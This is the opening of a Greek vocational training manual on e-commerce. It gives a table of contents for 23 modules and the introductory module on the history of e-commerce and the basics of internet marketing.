01_Ειδικός στη χρήση Τεχνικών & Εργαλείων Ηλεκτρονικού Εμπορίου (E-Commerce)

Ειδικός στη χρήση Τεχνικών & Εργαλείων Ηλεκτρονικού Εμπορίου (E- Commerce)

Περιεχόμενα ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 1: Εξέλιξη Ηλεκτρονικού Εμπορίου ....................................... 7 Εκπαιδευτική Υποενότητα 1.1 Εισαγωγή στο ηλεκτρονικό εμπόριο ............................ 7 Εκπαιδευτική Υποενότητα 1.2 Ιστορική εξέλιξη ηλεκτρονικού εμπορίου ...................10 Σύνοψη Εκπαιδευτικής Ενότητας 1 .............................................................................27 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 1 ..............................................27 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 1 ..........................29 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 2: Οφέλη του εμπορίου στο Ίντερνετ....................................30 Εκπαιδευτική Υποενότητα 2.1 Εφαρμογές Ηλεκτρονικού Εμπορίου ..........................31 Σύνοψη Εκπαιδευτικής Ενότητας 2 .............................................................................55 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 2 ..............................................56 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 2 ..........................57 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 3: Ηλεκτρονικά Καταστήματα στο Internet............................59 Εκπαιδευτική Υποενότητα 3.1 Βασικά Χαρακτηριστικά Β2Β ......................................60 Εκπαιδευτική υποενότητα 3.2 Δημιουργία Ηλεκτρονικού Καταστήματος...................85 Εκπαιδευτική Υποενότητα 3.3 Περιγραφή Βασικών Αρχών Συστημάτων Ηλεκτρονικού Εμπορίου Κατηγορίας Β2Β σε επίπεδο σχεδιασμού ............................................... 107 Εκπαιδευτική Υποενότητα 3.4 Smart Agents και Δημοπρασίες ................................ 115 Σύνοψη Εκπαιδευτικής Ενότητας 3 ........................................................................... 124 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 3 ............................................ 124 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 3 ........................ 126 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 4: Επεξεργασία εικόνας και βίντεο ..................................... 126 Εκπαιδευτική Υποενότητα 4.1 Ψηφιακή Επεξεργασία Εικόνας ................................ 127 Εκπαιδευτική Υποενότητα 4.2 Ψηφιακή Επεξεργασία Βίντεο .................................. 143 Εκπαιδευτική Υποενότητα 4.3 Η γλώσσα ΗΤΜL 5 ................................................... 162 Εκπαιδευτική Υποενότητα 4.4 Η Γλώσσα Προγραμματισμού PHP ........................... 210 Σύνοψη Εκπαιδευτικής Ενότητας 4 ........................................................................... 231 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 4 ............................................ 231 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 4 ........................ 233 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 5: Εργαλεία ανάπτυξης Ηλεκτρονικού Εμπορίου (e-shop) .... 234 Εκπαιδευτική Υποενότητα 5.1 Γενικά Ιστοσελίδων ................................................. 234 Εκπαιδευτική Υποενότητα 5.2 Η γλώσσα HTML ..................................................... 250 Εκπαιδευτική Υποενότητα 5.3 Εργαλεία Κατασκευής Ιστοσελίδων .......................... 308 Eκπαιδευτική Υποενότητα 5.4 Εισαγωγή στο CSS .................................................. 323 Εκπαιδευτική Υποενότητα 5.5

Βασικές ιδιότητες CSS (CSS properties) ................ 342

Σύνοψη Εκπαιδευτικής Ενότητας 5 ........................................................................... 370

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 5 ............................................ 370 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 5 ........................ 372 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 6: Search Engine Optimization και E-shop .......................... 373 Εκπαιδευτική Υποενότητα 6.1 Μάρκετινγκ Μηχανών Αναζήτησης (SEM) ................. 379 Εκπαιδευτική Υποενότητα 6.2 Εργαλεία Βελτιστοποίησης (SEO) ............................. 389 Εκπαιδευτική Υποενότητα 6.3 Συστήματα διαχείρισης περιεχομένου (cms) ............ 405 Εκπαιδευτική Υποενότητα 6.4 Wordpress .............................................................. 413 Σύνοψη Εκπαιδευτικής Ενότητας 6 ........................................................................... 447 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 6 ............................................ 447 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 6 ........................ 449 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 7: Ασφάλεια προσωπικών δεδομένων και συναλλαγών (eshop) ...................................................................................................................... 451 Εκπαιδευτική Υποενότητα 7.1 Διάρθρωση και Κίνδυνοι Πληροφοριακών Συστημάτων και Υποδομών ...................................................................................................... 451 Εκπαιδευτική Υποενότητα 7.2 Ασφάλεια Δικτύων .................................................. 467 Σύνοψη Εκπαιδευτικής Ενότητας 7 ........................................................................... 477 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 7 ............................................ 477 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 7 ........................ 479 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 8: Νομοθετικό πλαίσιο Ηλεκτρονικού Εμπορίου (e-shop) .... 480 Εκπαιδευτική Υποενότητα 8.1 Δημόσιοι φορείς προς κοινό .................................... 480 Εκπαιδευτική Υποενότητα 8.2 Σχεδιασμός Ασφαλείας ............................................ 514 Σύνοψη Εκπαιδευτικής Ενότητας 8 ........................................................................... 544 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 8 ............................................ 545 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 8 ........................ 546 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 9: Βασικές Αρχές Marketing ............................................... 547 Εκπαιδευτική Υποενότητα 9.1 Εισαγωγή στο Mάρκετινγκ ....................................... 548 Εκπαιδευτική Υποενότητα 9.2 Διαδικασίες Mάρκετινγκ .......................................... 559 Σύνοψη Εκπαιδευτικής Ενότητας 9 ........................................................................... 573 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 9 ............................................ 573 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 9 ........................ 576 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 10: Ψηφιακό Marketing ..................................................... 577 Εκπαιδευτική Υποενότητα 10.1 Βασικά Στοιχεία και Ορισμοί .................................. 577 Εκπαιδευτική Υποενότητα 10.2 Είδη ψηφιακού Μάρκετινγκ ................................... 582 Σύνοψη Εκπαιδευτικής Ενότητας 10.......................................................................... 635 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 10 .......................................... 635 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 10 ...................... 637

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 11: Μέσα Κοινωνικής δικτύωσης ....................................... 638 Εκπαιδευτική Υποενότητα 11.1 Γενικά Στοιχεία Social Media .................................. 638 Εκπαιδευτική Υποενότητα 11.2 Τα κυριότερα Social Media .................................... 674 Σύνοψη Εκπαιδευτικής Ενότητας 11.......................................................................... 733 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 11 .......................................... 733 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 11 ...................... 734 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 12: Διαφήμιση στα Social Media ........................................ 736 Εκπαιδευτική Υποενότητα 12.1 Social Media και Mάρκετινγκ ................................. 736 Σύνοψη Εκπαιδευτικής Ενότητας 12.......................................................................... 749 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 12 .......................................... 749 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 12 ...................... 751 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 13: SEM, SEO & Google Ads SEM, SEO & Google Ads .......... 752 Εκπαιδευτική Υποενότητα 13.1 Google Analytics ................................................... 752 Σύνοψη Εκπαιδευτικής Ενότητας 13.......................................................................... 822 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 13 .......................................... 823 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 13 ...................... 825 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 14: General Data Protection Regulation GDPR ................... 826 Εκπαιδευτική Υποενότητα 14.1 Ο Γενικός Κανονισμός για την Προστασία Δεδομένων ........................................................................................................................... 826 Εκπαιδευτική Υποενότητα 14.2 Η εκτίμηση του αντικτύπου Κινδύνου σχετικά με την προστασία δεδομένων στον Γενικό Κανονισμό Προστασίας Δεδομένων (GDPR)...... 846 Εκπαιδευτική Υποενότητα 14.3 Κριτήρια - Προϋποθέσεις θέσης ............................ 867 Σύνοψη Εκπαιδευτικής Ενότητας 14.......................................................................... 890 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 14 .......................................... 890 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 14 ...................... 892 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 15: Έρευνα αγοράς ............................................................ 894 Εκπαιδευτική Υποενότητα 15.1 Διαδικασία της Έρευνας Αγοράς ............................. 895 Σύνοψη Εκπαιδευτικής Ενότητας 15........................................................................ 1007 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 15 ........................................ 1007 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 15 .................... 1009 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 16: Πλάνο marketing ....................................................... 1010 Εκπαιδευτική Υποενότητα 16.1 Στρατηγική Μικρομεσαίων Επιχειρήσεων ............ 1010 Εκπαιδευτική Υποενότητα 16.2 Η αλυσίδα αξίας της επιχείρησης ......................... 1032 Εκπαιδευτική Υποενότητα 16.3 Η Οργανωτική δομή της επιχείρησης ................... 1045 Εκπαιδευτική Υποενότητα 16.4 Κριτήρια Ελέγχου Αποτελεσμάτων ....................... 1057 Εκπαιδευτική Υποενότητα 16.5 Παρουσίαση Επιχείρησης - Στρατηγική Ανάλυση .. 1070

Εκπαιδευτική Υποενότητα 16.6 Στρατηγική μικρομεσαίων επιχειρήσεων ............. 1086 Σύνοψη Εκπαιδευτικής Ενότητας 16........................................................................ 1094 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 16 ........................................ 1095 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 16 .................... 1097 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 17: Οικονομική διαχείριση επιχειρήσεων ......................... 1098 Εκπαιδευτική Υποενότητα 17.1 Γενικά ................................................................. 1098 Εκπαιδευτική Υποενότητα 17.2 Ανάλυση νεκρού σημείου .................................... 1122 Εκπαιδευτική Υποενότητα 17.3 Μακροχρόνια χρηματοδότηση ............................. 1138 Σύνοψη Εκπαιδευτικής Ενότητας 17........................................................................ 1162 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 17 ........................................ 1162 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 17 .................... 1164 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 18: Λογιστική διαχείριση επιχειρήσεων............................ 1165 Εκπαιδευτική Υποενότητα 18.1 Έννοια και σκοποί της λογιστικής .......................... 1165 Εκπαιδευτική Υποενότητα 18.2 Χρηματοοικονομική επιστήμη .............................. 1172 Εκπαιδευτική Υποενότητα 18.3 Τα χρηματοοικονομικά προϊόντα .......................... 1184 Εκπαιδευτική Υποενότητα 18.4 Μορφές επενδύσεων .......................................... 1189 Σύνοψη Εκπαιδευτικής Ενότητας 18........................................................................ 1202 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 18 ........................................ 1202 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 18 .................... 1204 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 19: Επιχειρηματικότητα στον κλάδο του εμπορίου ............ 1205 Εκπαιδευτική Υποενότητα 19.1 Επιχειρηματικότητα ............................................ 1205 Εκπαιδευτική Υποενότητα 19.2 Διάφορες μορφές και είδη επιχειρηματικοτητας ... 1227 Σύνοψη Εκπαιδευτικής Ενότητας 19........................................................................ 1238 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 19 ........................................ 1239 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 19 .................... 1240 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 20: Ενίσχυση Δεξιοτήτων Οργάνωσης και Συνεργασίας στον κλάδο του Εμπορίου .............................................................................................. 1242 Εκπαιδευτική Υποενότητα 20.1 Η έννοια των δεξιοτήτων ..................................... 1243 Εκπαιδευτική Υποενότητα 20.2 Δεξιότητες εργαζομένων στις πωλήσεις ............... 1250 Σύνοψη Εκπαιδευτικής Ενότητας 20........................................................................ 1273 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 20 ........................................ 1273 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 20 .................... 1275 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 21: Προετοιμασία του εκπαιδευόμενου την αγορά εργασίας ............................................................................................................................. 1276 Εκπαιδευτική Υποενότητα 21.1 Δημόσιος - Ιδιωτικός Τομέας ................................ 1276

Εκπαιδευτική Υποενότητα 21.2 Συμβουλευτική-Εργατική Νομοθεσία-Αναζήτηση Εργασίας ........................................................................................................... 1281 Εκπαιδευτική Υποενότητα 21.3 Προετοιμασία του φακέλου υποψηφιότητας ........ 1284 Εκπαιδευτική Υποενότητα 21.4 Συνέντευξη ......................................................... 1290 Σύνοψη Εκπαιδευτικής Ενότητας 21........................................................................ 1295 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 21 ........................................ 1296 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 21 .................... 1298 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 22: Υγεία και Ασφάλεια στην εργασία ............................... 1299 Εκπαιδευτική Υποενότητα 22.1 Υγεία & Ασφάλεια στην Εργασία ........................... 1299 Σύνοψη Εκπαιδευτικής Ενότητας 22........................................................................ 1308 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 22 ........................................ 1308 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 22 .................... 1310 ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 23: Βασικές αρχές εργατικού δικαίου ............................... 1312 Εκπαιδευτική Υποενότητα 23.1 Εργατικό δίκαιο ................................................... 1312 Σύνοψη Εκπαιδευτικής Ενότητας 23........................................................................ 1326 Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 23 ........................................ 1327 Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 23 .................... 1329 ΓΛΩΣΣΑΡΙ .............................................................................................................. 1330 ΒΙΒΛΙΟΓΡΑΦΙΑ ....................................................................................................... 1331 ΙΣΤΟΣΕΛΙΔΕΣ ......................................................................................................... 1332 ΠΡΟΣΘΕΤΟ ΥΛΙΚΟ ΕΝΗΜΕΡΩΣΗΣ .......................................................................... 1333

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 1: Εξέλιξη Ηλεκτρονικού Εμπορίου Σκοπός αυτής της εκπαιδευτικής ενότητας είναι η παρουσίαση αντικειμένων που αφορούν στην εισαγωγή του ηλεκτρονικού εμπορίου και την εξέλιξη του. ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν ολοκληρώσετε τη μελέτη του υλικού αυτής της εκπαιδευτικής ενότητας θα έχετε αποκτήσει γνώσεις και δεξιότητες που αναφέρονται: Αντίκτυπο του Διαδικτύου στο Marketing Μέσα - Εργαλεία του Internet Ιστορική εξέλιξη ηλεκτρονικού εμπορίου Internet Marketing Στρατηγική e-Marketing Διαφημίσεις Διαφήμιση στις μηχανές αναζήτησης

ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ world wide web, e-commerce, Marketing, e-marketing, brand name. Εκπαιδευτική Υποενότητα 1.1 Εισαγωγή στο ηλεκτρονικό εμπόριο Το Internet σήμερα είναι το μεγαλύτερο παγκόσμιο Δίκτυο, το οποίο Διασύνδεει εκατομμύρια προσωπικούς υπολογιστές και εκατοντάδες χιλιάδες servers σε όλο τον κόσμο. Οι χρήστες του Διαδικτύου μπορούν να χρησιμοποιήσουν μία σειρά υπηρεσιών, οι πιο γνωστές από τις οποίες είναι το ηλεκτρονικό ταχυδρομείο και ο παγκόσμιος ιστός (world wide web - www.) Τα τελευταία χρόνια το Internet παρουσιάζει μεγάλη ανάπτυξη και αυτό γιατί αποτελεί πλέον ένα σημαντικό εργαλείο, τόσο για τους ιδιώτες όσο και για τις επιχειρήσεις. Παρακάτω αναφέρονται συνοπτικά μερικές από τις βασικές δυνατότητες που έχουν σήμερα οι χρήστες του παγκόσμιου αυτού δικτύου

Το Internet μπορεί να αποτελέσει ένα πολύ χρήσιμο εργαλείο του Marketing για την κάθε επιχείρηση. Ορισμένοι από τους στόχους που μπορούν να τεθούν στα πλαίσια μιας στρατηγικής marketing μέσω του Internet είναι: 1.

Αύξηση των πωλήσεων

2.

Υποστήριξη πελατών

3.

Αύξηση της γνώσης των καταναλωτών για το προϊόν

4.

Δημιουργία συναφούς διαύλου marketing & Μείωση κόστους

5.

Ενίσχυση / εξέλιξη της μάρκας & Δοκιμή νέων υπηρεσιών και προϊόντων

6.

Ηλεκτρονικό εμπόριο

Αν και το Internet αποτελεί έναν συναρπαστικό νέο δίαυλο προς την αγορά, είναι σημαντικό να μην υποτιμηθούν οι πόροι, ο χρόνος και η εμπειρία που χρειάζεται για την δημιουργία μιας γνήσιας παρουσίας στο διαδίκτυο που να παράγει επιχειρηματικές ευκαιρίες.

Η παγκόσμια εμπειρία έχει δείξει ότι υπάρχουν τέσσερα στάδια που βιώνουν οι εταιρείες καθώς μπαίνουν στην διαδικασία χρησιμοποίησης του διαδικτύου ως επιχειρηματικό εργαλείο και ως εργαλείο marketing. Κάθε εταιρεία αναπτύσσει τη δική της στρατηγική και μπορεί να ορίσει σε ποιο στάδιο επιθυμεί να αναπτύξει την παρουσία της στο Internet. Στο στάδιο αυτό η εταιρεία κάνει την παρουσία της για πρώτη φορά αισθητή στο διαδίκτυο. Αναλόγως με το μέγεθος της, την περιοχή δραστηριοποίησης της, τα προϊόντα της και τα χρήματα που θέλει να επενδύσει στην παρούσα φάση, επιλέγει μια εταιρεία που προσφέρει υπηρεσίες διαδικτύου και σχεδιάζει την πρώτη της ιστοσελίδα. Σε αυτό το στάδιο είναι απαραίτητο να γίνει η επιλογή του ονόματος της εταιρείας στο διαδίκτυο το οποίο κατοχυρώνεται και κανείς στον κόσμο δεν επιτρέπεται να το χρησιμοποιήσει. To όνομα αυτό λέγεται domain name. Η πρώτη αυτή ιστοσελίδα παρουσιάζει συνήθως στον επισκέπτη τις βασικές υπηρεσίες και προϊόντα που προσφέρει η επιχείρηση, καθώς και πληροφορίες για την επιχείρηση και στοιχεία επικοινωνίας με αυτή. Αντίκτυπο του Διαδικτύου στο Marketing Οι γενικές συνέπειες συνοψίζονται ως εξής: Στο διαδίκτυο οι αλληλεπιδράσεις και κατ’ επέκταση οι συναλλαγές μεταξύ αγοραστή και προμηθευτή είναι περισσότερο γρήγορες, εξατομικευμένες και οικονομικές. Το διαδίκτυο είναι πάντα συνεχώς και παντού «προσβάσιμο» επιτρέποντας αδιάλειπτη και κατά βούληση επικοινωνία μεταξύ πωλητή και αγοραστή. Στο ηλεκτρονικό περιβάλλον, το κόστος αναζήτησης για τον πελάτη είναι ριζικά μικρότερο σε σχέση με το αντίστοιχο κόστος στις φυσικές αγορές. Το διαδίκτυο ως μέσο επιτρέπει πολλαπλούς τρόπους πρόσβασης πέρα από τον υπολογιστή, όπως για παράδειγμα μέσω του κινητού τηλεφώνου. Μέσα - Εργαλεία του Internet Η χρήση του Internet στο Marketing και τα εργαλεία που αυτό διαθέτει, επιτρέπει την ανάπτυξη όλων των πτυχών του Marketing, όπως κανένα άλλο ηλεκτρονικό μέσο Marketing επιτυγχάνει. Τα μέσα - εργαλεία του Internet είναι: WWW (World Wide Web) : Παγκόσμιος Ιστός E-mail (Electronic Mail) : ηλεκτρονικό ταχυδρομείο Newsgroups, Mailing Lists, Bulletin Boards, Forums (ομάδες συζήτησης κοινού ενδιαφέροντος ανοικτές στο κοινό), Μηχανές Κοινωνικής Δικτύωσης (π.χ. Facebook, MySpase, κ.α.) FTP (File Transfer Protocol): Μεταφορά μεγάλων αρχείων (καταλόγων, διαφημιστικών, κλπ.).

Search Engines (Google, Yahoo, Altavista, etc.): μηχανές αυτόματης αναζήτησης on-line. Στατιστικά Στοιχεία Σύμφωνα με τα στοιχεία της αμερικάνικης εταιρίας ερευνών Forrester Research, οι πωλήσεις προϊόντων και υπηρεσιών μέσω δικτύου στην Ευρώπη και στις Ηνωμένες Πολιτείες το 1998 ξεπέρασαν τα 5 δις δολάρια ενώ το 2001 έφτασαν το ποσό των 64,4 δις δολαρίων. Η ιδέα της επιχειρηματικής και εμπορικής αξιοποίησης των δικτύων επικοινωνίας κα των online συστημάτων μετάδοσης πληροφοριών, αναπτύχθηκε προοδευτικά με την υλοποίηση στρατηγικών marketing, πωλήσεων και προβολής μέσω των μεγάλων εμπορικών online συστημάτων, τα οποία έχουν συγκεντρώσει πολυπληθές κοινό. Σήμερα, η παγκόσμια online κοινότητα, οι online πελάτες, καταναλωτές και εμπορικοί συνεργάτες, οι χρήστες του διαδικτύου και των επιμέρους δικτύων είναι δεκάδες εκατομμύρια σε όλον τον κόσμο. Οι νέοι και ενδιάμεσοι παράγοντες, οι οποίοι δεν υπήρχαν πριν από την εμφάνιση των ηλεκτρονικών μέσων Μάρκετινγκ. Η διαμόρφωση του νέου περιβάλλοντος Μάρκετινγκ οδήγησε στη δημιουργία των εξής νέων παραγόντων: Εταιρίες δημοπρασιών στο Internet (auction enterprises), Πωλήσεις από καταναλωτή σε καταναλωτή (consumer-to-consumer), Πωλήσεις, μέσω ιστοσελίδων, επωνύμων προϊόντων γνωστών εταιριών, εκμετάλλευση του corporate image της εταιρίας μέσω της παροχής προϊόντων άλλων εταιριών από την ιστοσελίδα της, Εμφάνιση νέων προϊόντων (π.χ. επαγγελματικά σεμινάρια μέσω Internet, ενοικίαση χώρου για τηλεδιάσκεψη σε συγκεκριμένες ιστοσελίδες κλπ), Ηλεκτρονικές τράπεζες συναλλαγών (ηλεκτρονικό χρήμα μέσω του Internet).

Εκπαιδευτική Υποενότητα 1.2 Ιστορική εξέλιξη ηλεκτρονικού εμπορίου Μια σύντομη περιγραφή της Ιστορίας του ηλεκτρονικού εμπορίου. ❖ Τη δεκαετία του 1970, εμφανίζονται τα συστήματα ηλεκτρονικής μεταφοράς χρηματικών πόρων (EFT) μεταξύ τραπεζών που χρησιμοποιούν ασφαλή ιδιωτικά δίκτυα τα οποία και αλλάζουν τη μορφή των αγορών. ❖ Τη δεκαετία του 1980, οι τεχνολογίες ηλεκτρονικής επικοινωνίας που βασίζονται στην αρχιτεκτονική της ανταλλαγής μηνυμάτων (συστήματα EDI και ηλεκτρονικό ταχυδρομείο) αποκτούν σημαντική διάδοση. Πολλές δραστηριότητες που

παραδοσιακά διεκπεραιώνονταν με βασικό μέσο το χαρτί μπορούν πλέον να γίνουν ταχύτερα και μικρότερο κόστος. Οι συναλλαγές, που παλιότερα απαιτούσαν έντυπα, όπως παραγγελίες αγοράς, συνοδευτικά έγγραφα και επιταγές πληρωμής, μπορούν να γίνουν κατά ένα μέρος ή στο σύνολο τους ηλεκτρονικά, με δομημένο τρόπο, χάρη στα συστήματα EDI ή μέσω του ηλεκτρονικού ταχυδρομείου. ❖ Στα τέλη της δεκαετίας του 1980 και στις αρχές της δεκαετίας του 1990, τα ηλεκτρονικά δίκτυα προσφέρουν μια νέα μορφή κοινωνικής επικοινωνίας, με δυνατότητες

,

όπως

το

ηλεκτρονικό

ταχυδρομείο

(email),

ηλεκτρονική

διάσκεψη(conferencing) και η ηλεκτρονική συνομιλία (IRC) , ομάδες συζήτησης (newsgroups, forums), μεταφορά αρχείων (FTP) κ.λπ.Η πρόσβαση στο δίκτυο γίνεται φθηνότερη λόγω της διεθνούς απελευθέρωσης της αγοράς τηλεπικοινωνιών. ❖ Στα μέσα της δεκαετίας του 1990, η εμφάνιση του Παγκόσμιου Ιστού (WWW) στο Internet και η επικράτηση των προσωπικών ηλεκτρονικών υπολογιστών (PC) που χρησιμοποιούν λειτουργικά συστήματα τύπου Windows προσφέρουν μεγάλη ευκολία χρήσης λύνοντας το πρόβλημα της δημοσίευσης και της εύρεσης πληροφοριών στο διαδίκτυο. Το ηλεκτρονικό εμπόριο γίνεται ένας πολύ φθηνότερος τρόπος για την πραγματοποίηση μεγάλου όγκου συναλλαγών, ενώ συγχρόνως διευκολύνει την παράλληλη λειτουργία πολλών διαφορετικών επιχειρηματικών δραστηριοτήτων

επιτρέποντας

σε

μικρές

επιχειρήσεις

να

ανταγωνιστούν

μεγαλύτερες, με πολύ ευνοϊκότερες προϋποθέσεις. ❖ Στα τέλη της δεκαετίας του 1990, καθιερώνεται η μέθοδος κρυπτογράφησης του περιεχομένου και εξακρίβωσης της ταυτότητας του αποστολέα ηλεκτρονικών μηνυμάτων, καθώς και η σχετική προσαρμογή της νομοθεσίας στους τομείς των εισαγωγών-εξαγωγών και των επικοινωνιών καθιστούν δυνατή την πραγματοποίηση ασφαλών διεθνών ηλεκτρονικών συναλλαγών. ❖ Ωστόσο σήμερα θεωρούμε ότι η ανάγκη για το ηλεκτρονικό εμπόριο προκύπτει από την απαίτηση των επιχειρήσεων και των κυβερνήσεων για καλύτερη χρήση της τεχνολογίας των υπολογιστών και των τηλεπικοινωνιών ώστε να βελτιωθούν οι σχέσεις αμφίδρομης επικοινωνίας με τους πελάτεςπολίτες καταναλωτές, οι επιχειρηματικές διεργασίες και η ανταλλαγή πληροφοριών ενδό-επιχειρησιακά, αλλά και κυρίως μεταξύ των επιχειρήσεων. Πάντως η ουσιαστική επιδίωξη της κάθε επιχείρησης σήμερα, στον έντονα ανταγωνιστικό επιχειρηματικό στίβο της εποχής μας, πιστεύουμε ότι είναι η εξασφάλιση στρατηγικού πλεονεκτήματος. Και έρχεται η τεχνολογία που ενισχύει το ηλεκτρονικό εμπόριο παρέχοντας

ευέλικτες και ολοκληρωμένες λύσεις τοποθέτησης των επιχειρήσεων στις επιθυμητές αγορές. Όμως το Internet ήταν αυτό που έδωσε μεγάλη ώθηση στην ανάπτυξη του ηλεκτρονικού εμπορίου. Έτσι μικρές επιχειρήσεις ή νεοσύστατες να διευθύνουν τις επιχειρήσεις τους online, όπως ακριβώς και οι μεγαλύτεροι ανταγωνιστές τους. Με αυτόν τον τρόπο όλες οι επιχειρήσεις μεγάλες ή μικρές έχουν ίσες ευκαιρίες στην αγορά εργασίας.

Ορισμός Internet Marketing Το Internet Marketing (e-marketing) είναι στην ουσία το marketing προϊόντων και υπηρεσιών στο χώρο του Διαδικτύου (Internet). Χρησιμοποιεί την τεχνολογία πληροφορικής με σκοπό να αυξήσει την αποδοτικότητα και να μεταμορφώσει τις στρατηγικές μάρκετινγκ, για να δημιουργήσει επιχειρηματικά μοντέλα που αυξάνουν την αξία για τον πελάτη και / ή την κερδοφορία για την επιχείρηση. Πιο συγκεκριμένα, είναι η διαδικασία του σχεδιασμού και της εκτέλεσης των αρχών, των κανόνων και της προώθησης ιδεών, αγαθών και υπηρεσιών για τη δημιουργία συναλλαγματικών ευκαιριών που ικανοποιούν τους αντικειμενικούς σκοπούς μιας επιχείρησης. Το internet marketing αποτελείται από τα 4 βασικά στοιχεία του marketing, προσαρμοσμένα στον ηλεκτρονικό κόσμο. Τα στοιχεία είναι τα εξής: •

Προϊόν (Product),

•

Τιμή (Price),

•

Τοποθεσία (Place),

•

Προώθηση (Promotion).

